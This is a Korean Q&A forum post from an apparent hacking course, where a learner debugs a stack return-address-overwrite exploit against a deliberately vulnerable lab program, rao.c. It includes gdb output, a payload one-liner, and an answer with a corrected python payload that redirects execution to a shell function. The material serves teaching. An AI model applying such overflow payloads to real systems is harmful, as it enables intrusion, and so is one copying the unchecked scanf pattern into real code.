완료됨
[rao 익스플로잇 질문]
밑에 있는 rao.c를 컴파일한 rao를 대상으로 return address overwrite공격을 하려는데요.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
gdb로 보면 다음과 같이 buf가 rbp-0x30부터 시작됩니다.
► 0x401246 <main+39> lea rax, [rbp - 0x30]
0x40124a <main+43> mov rsi, rax
0x40124d <main+46> lea rdi, [rip + 0xdc0]
0x401254 <main+53> mov eax, 0
0x401259 <main+58> call __isoc99_scanf@plt <__isoc99_scanf@plt>
강의 자료처럼 0x38만큼은 아무 데이터로 채우고 나머지 길이 0x8인 return address를 get_shell()이 있는 주소로 옮겨서 쉘을 실행시키는게 목적입니다.
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4011dd <get_shell>
보시다시피 get_shell함수의 주소는 0x4011dd입니다. (강의 자료는 0x4005a7이던데 다를 수가 있나요..?)
그래서 리턴 어드레스 부분은 “\xdd\x11\x40\x00\x00\x00\x00\x00"로 작성할 수 있었습니다.
(python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
최종적으로 터미널에 입력한 명령은 이것인데요. 이거를 입력하면 쉘을 딸 수 있기를 기대했습니다.
Input:
세그멘테이션 오류 (코어 덤프됨)
그런데 세그멘테이션 오류가 뜨더군요.
그래서 코어 파일을 봤습니다.
pwndbg> x/5gx $rsp
0x7ffd73895a70: 0x0000000000000000 0x00007ffd73895b58
0x7ffd73895a80: 0x00000001b7ef1618 0x000000000040121f
0x7ffd73895a90: 0x0000000000401270
Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison:
pwndbg> print $rip
$1 = (void (*)()) 0x40119dc3
보니깐 제 생각에 main함수에서 return을 했고 rip가 제가 원하는 0x4011dd을 저장해야 될 것 같습니다.
그런데 현재 rip는 0x40119dc을 저장하고 있더군요.
4011부분은 맞는데 dd가 아닌 9dc3이 어떻게 나왔는지 모르겠습니다 ㅠㅠ
도움 부탁드립니다..
#시스템_해킹
#공격기법
작성자 정보
답변
1
5unkn0wn
강의 수강: 50
- 안녕하세요, 우선 함수의 주소는 소스를 컴파일하는 환경과 버전에 따라 달라질 수 있습니다.
- 커맨드 라인으로 입력할 때 파이썬 3을 사용하게 되면 출력 과정에서 인코딩이 달라져 페이로드가 올바르게 들어가지 않습니다ㅠㅠ 파이썬 3로 입력할 때에는
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat) | ./rao
과 같은 형태로 입력해주셔야 합니다! 이 부분은 강의를 수강할 때 혼동을 일으킬 수 있으니, 수정해두도록 하겠습니다! 감사합니다.